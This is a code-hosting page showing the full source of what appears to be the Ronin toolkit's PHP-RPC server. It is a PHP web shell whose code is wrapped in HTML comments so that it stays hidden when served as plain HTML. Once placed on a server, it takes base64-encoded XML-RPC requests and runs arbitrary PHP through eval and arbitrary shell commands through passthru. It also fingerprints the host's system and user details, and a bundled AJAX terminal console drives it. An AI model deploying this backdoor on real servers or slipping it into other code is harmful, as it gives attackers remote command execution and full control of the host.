PageRenderTime 24ms CodeModel.GetById 19ms RepoModel.GetById 1ms app.codeStats 0ms

/static/ronin/php/rpc/server.php

https://github.com/ronin-ruby/ronin-ruby.github.io
PHP | 485 lines | 372 code | 93 blank | 20 comment | 25 complexity | 5ff4279cf7dc1290ead8570125b1c205 MD5 | raw file
  1. <!--
  2. <?php
  3. #
  4. # Ronin PHP-RPC Server - A PHP-RPC server designed to work in hostile
  5. # environments.
  6. #
  7. # Copyright (c) 2007-2009
  8. #
  9. # This program is free software; you can redistribute it and/or modify
  10. # it under the terms of the GNU General Public License as published by
  11. # the Free Software Foundation; either version 2 of the License, or
  12. # (at your option) any later version.
  13. #
  14. # This program is distributed in the hope that it will be useful,
  15. # but WITHOUT ANY WARRANTY; without even the implied warranty of
  16. # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  17. # GNU General Public License for more details.
  18. #
  19. # You should have received a copy of the GNU General Public License
  20. # along with this program; if not, write to the Free Software
  21. # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  22. #
  23. function running($params=array())
  24. {
  25. return true;
  26. }
  27. function fingerprint($params=array())
  28. {
  29. $profile = array(
  30. 'os' => PHP_OS,
  31. 'system_name' => php_uname('s'),
  32. 'system_release' => php_uname('r'),
  33. 'system_version' => php_uname('v'),
  34. 'machine_type' => php_uname('m'),
  35. 'host_name' => php_uname('n'),
  36. 'php_server_api' => php_sapi_name(),
  37. 'php_version' => phpversion(),
  38. 'uid' => posix_getuid(),
  39. 'gid' => posix_getgid(),
  40. 'cwd' => getcwd(),
  41. 'disk_free_space' => disk_free_space('/'),
  42. 'disk_total_space' => disk_total_space('/')
  43. );
  44. switch ($profile['php_server_api'])
  45. {
  46. case 'apache':
  47. $profile['apache_version'] = apache_get_version();
  48. break;
  49. }
  50. return $profile;
  51. }
  52. function rpc_method_proxy($method,$arguments,$server)
  53. {
  54. $session = array_shift($arguments);
  55. $func = $server->methods[$method];
  56. $server->load_session($session);
  57. ob_start();
  58. if (is_array($func))
  59. {
  60. $ret = $func[0]->$func[1]($arguments);
  61. }
  62. else
  63. {
  64. $ret = $func($arguments);
  65. }
  66. $output = ob_get_contents();
  67. ob_end_clean();
  68. $new_session = $server->save_session();
  69. return array(
  70. 'session' => $new_session,
  71. 'output' => $output,
  72. 'return_value' => $ret
  73. );
  74. }
  75. class RPCServer
  76. {
  77. var $_server;
  78. var $methods;
  79. var $services;
  80. function RPCServer()
  81. {
  82. $this->_server = xmlrpc_server_create();
  83. $this->methods = array();
  84. $this->services = array();
  85. }
  86. function load_session($session)
  87. {
  88. foreach ($session as $name => $values)
  89. {
  90. if (isset($this->services[$name]))
  91. {
  92. foreach ($this->services[$name]->persistant as $var)
  93. {
  94. if (isset($values[$var]))
  95. {
  96. $this->services[$name]->$var = $values[$var];
  97. }
  98. }
  99. }
  100. }
  101. }
  102. function register_method($name,$function)
  103. {
  104. $this->methods[$name] = $function;
  105. return xmlrpc_server_register_method($this->_server, $name, 'rpc_method_proxy');
  106. }
  107. function register_service($name,&$service)
  108. {
  109. $this->services[$name] =& $service;
  110. foreach ($service->methods as $rpc_name => $method)
  111. {
  112. $this->register_method("{$name}.{$rpc_name}",array(&$service, $method));
  113. }
  114. }
  115. function call_method($xml)
  116. {
  117. return xmlrpc_server_call_method($this->_server, $xml, $this);
  118. }
  119. function rpc_services($method)
  120. {
  121. return array_keys($this->services);
  122. }
  123. function save_session()
  124. {
  125. $session = array();
  126. foreach ($this->services as $name => $service)
  127. {
  128. $session[$name] = array();
  129. foreach ($service->persistant as $var)
  130. {
  131. $session[$name][$var] = $service->$var;
  132. }
  133. }
  134. return $session;
  135. }
  136. }
  137. class Service
  138. {
  139. var $methods;
  140. var $persistant;
  141. function Service()
  142. {
  143. $this->methods = array();
  144. $this->persistant = array();
  145. }
  146. function is_windows()
  147. {
  148. return substr(PHP_OS, 0, 3) == 'WIN';
  149. }
  150. }
  151. class ConsoleService extends Service
  152. {
  153. var $includes;
  154. function ConsoleService()
  155. {
  156. $this->includes = array();
  157. $this->methods = array(
  158. 'invoke' => 'rpc_invoke',
  159. 'eval' => 'rpc_eval',
  160. 'inspect' => 'rpc_inspect'
  161. );
  162. $this->persistant = array('includes');
  163. }
  164. function rpc_invoke($params)
  165. {
  166. $name = $params[0];
  167. $arguments = $params[1];
  168. $call_arguments = array();
  169. if ($arguments != null)
  170. {
  171. foreach(array_keys($arguments) as $index)
  172. {
  173. $call_arguments[$index] = "\$arguments[{$index}]";
  174. }
  175. }
  176. $call_string = "return {$name}(" . join(", ", $call_arguments) . ");";
  177. $ret = eval($call_string);
  178. if (($name == 'include' || $name == 'require') && $ret != false)
  179. {
  180. $this->includes[] = $arguments[0];
  181. }
  182. return $ret;
  183. }
  184. function rpc_eval($params)
  185. {
  186. $code = trim($params[0]);
  187. if ($code[strlen($code) - 1] != ';')
  188. {
  189. $code .= ';';
  190. }
  191. return eval('return ' . $code);
  192. }
  193. function rpc_inspect($params)
  194. {
  195. $ret = $this->rpc_eval($params);
  196. ob_start();
  197. print_r($ret);
  198. $output = ob_get_contents();
  199. ob_end_clean();
  200. return $output;
  201. }
  202. }
  203. class ShellService extends Service
  204. {
  205. var $cwd;
  206. var $env;
  207. function ShellService()
  208. {
  209. $this->cwd = getcwd();
  210. $this->env = array();
  211. $this->methods = array(
  212. 'exec' => 'rpc_exec',
  213. 'cd' => 'rpc_cd',
  214. 'cwd' => 'rpc_cwd',
  215. 'env' => 'rpc_env',
  216. 'getenv' => 'rpc_getenv',
  217. 'setenv' => 'rpc_setenv'
  218. );
  219. $this->persistant = array('cwd', 'env');
  220. }
  221. function format($obj)
  222. {
  223. if (is_array($obj))
  224. {
  225. $formatted = array();
  226. foreach($obj as $value)
  227. {
  228. $formatted[] = $this->format($value);
  229. }
  230. return join(' ', $formatted);
  231. }
  232. else if ($obj == null)
  233. {
  234. return '';
  235. }
  236. return "{$obj}";
  237. }
  238. function exec_output($command)
  239. {
  240. ob_start();
  241. passthru($command);
  242. $output = ob_get_contents();
  243. ob_end_clean();
  244. return split("\n",rtrim($output,"\n\r"));
  245. }
  246. function load_env()
  247. {
  248. if ($this->is_windows())
  249. {
  250. $command = 'set';
  251. }
  252. else
  253. {
  254. $command = 'env';
  255. }
  256. $this->env = array();
  257. foreach ($this->exec_output($command) as $line)
  258. {
  259. list($name, $value) = explode('=', $line, 2);
  260. $this->env[$name] = $value;
  261. }
  262. }
  263. function rpc_cwd($params=array())
  264. {
  265. return $this->cwd;
  266. }
  267. function rpc_cd($params)
  268. {
  269. $new_cwd = $params[0];
  270. if ($new_cwd[0] != DIRECTORY_SEPARATOR)
  271. {
  272. $new_cwd = $this->cwd . DIRECTORY_SEPARATOR . $new_cwd;
  273. }
  274. $new_cwd = realpath($new_cwd);
  275. if (file_exists($new_cwd))
  276. {
  277. $this->cwd = $new_cwd;
  278. return true;
  279. }
  280. return false;
  281. }
  282. function rpc_env($params=array())
  283. {
  284. return $this->env;
  285. }
  286. function rpc_getenv($params)
  287. {
  288. return $this->env[$params[0]];
  289. }
  290. function rpc_setenv($params)
  291. {
  292. return $this->env[$params[0]] = $params[1];
  293. }
  294. function rpc_exec($params)
  295. {
  296. $command = 'cd ' . $this->cwd . '; ';
  297. if (count($params) > 1)
  298. {
  299. $command .= array_shift($params) . ' ' . $this->format($params);
  300. }
  301. else
  302. {
  303. $command .= $params[0];
  304. }
  305. $command .= '; pwd';
  306. $output = $this->exec_output($command);
  307. $this->cwd = array_pop($output);
  308. $output_string = '';
  309. foreach ($output as $line)
  310. {
  311. $output_string .= "{$line}\n";
  312. }
  313. return $output_string;
  314. }
  315. }
  316. if (isset($_REQUEST['rpc_call']))
  317. {
  318. $server = new RPCServer();
  319. $server->register_method('running', 'running');
  320. $server->register_method('fingerprint', 'fingerprint');
  321. $server->register_service('console', new ConsoleService());
  322. $server->register_service('shell', new ShellService());
  323. $xml = base64_decode(rawurldecode($_REQUEST['rpc_call']));
  324. $response = $server->call_method($xml);
  325. echo("<rpc>{$response}</rpc>");
  326. exit;
  327. }
  328. ?>
  329. -->
  330. <html>
  331. <head>
  332. <title>Ronin::PHP - AJAX PHP-RPC Console</title>
  333. <link rel="stylesheet" type="text/css" href="ajax/css/layout.css">
  334. <script type="text/javascript" src="ajax/js/base64.js"></script>
  335. <script type="text/javascript" src="ajax/js/jquery.min.js"></script>
  336. <script type="text/javascript" src="ajax/js/jquery-ui-personalized.min.js"></script>
  337. <script type="text/javascript" src="ajax/js/jquery.terminal.js"></script>
  338. <script type="text/javascript" src="ajax/js/jquery.phprpc.js"></script>
  339. <script type="text/javascript" src="ajax/js/ui.js"></script>
  340. <script type="text/javascript">
  341. $(document).ready(function() {
  342. $("#console_shell").terminal(function(input) {
  343. shell.exec(input);
  344. });
  345. $("#console_php").terminal(function(input) {
  346. php.inspect(input);
  347. });
  348. $("#console_tabs > ul").tabs({
  349. fx: { height: 'toggle' },
  350. show: function(ui) {
  351. $("input", ui.panel).focus();
  352. }
  353. });
  354. $("#console_title").hide();
  355. $("#console_title").fadeIn(1300, function() {
  356. $("#console_shell").terminalFocus();
  357. });
  358. });
  359. </script>
  360. </head>
  361. <body>
  362. <div id="console_container">
  363. <h1 id="console_title">AJAX PHP-RPC Console v1.0</h1>
  364. <div id="console_content">
  365. <div id="console_tabs">
  366. <ul>
  367. <li><a href="#console_shell"><span>Shell</span></a></li>
  368. <li><a href="#console_php"><span>PHP</span></a></li>
  369. <li><a href="#console_fingerprint"><span>Fingerprint</span></a></li>
  370. </ul>
  371. <div id="console_shell" class="console_tab"></div>
  372. <div id="console_php" class="console_tab"></div>
  373. <div id="console_fingerprint" class="console_tab">
  374. <div class="console_dialogue">
  375. <!--
  376. <?php
  377. echo(" -->");
  378. $info = fingerprint();
  379. foreach($info as $name => $value)
  380. {
  381. echo("<p><strong>" . str_replace('_', ' ', $name) . ":</strong> $value</p>\n");
  382. }
  383. echo("<!-- ");
  384. ?>
  385. -->
  386. </div>
  387. </div>
  388. </div>
  389. </div>
  390. </div>
  391. </body>
  392. </html>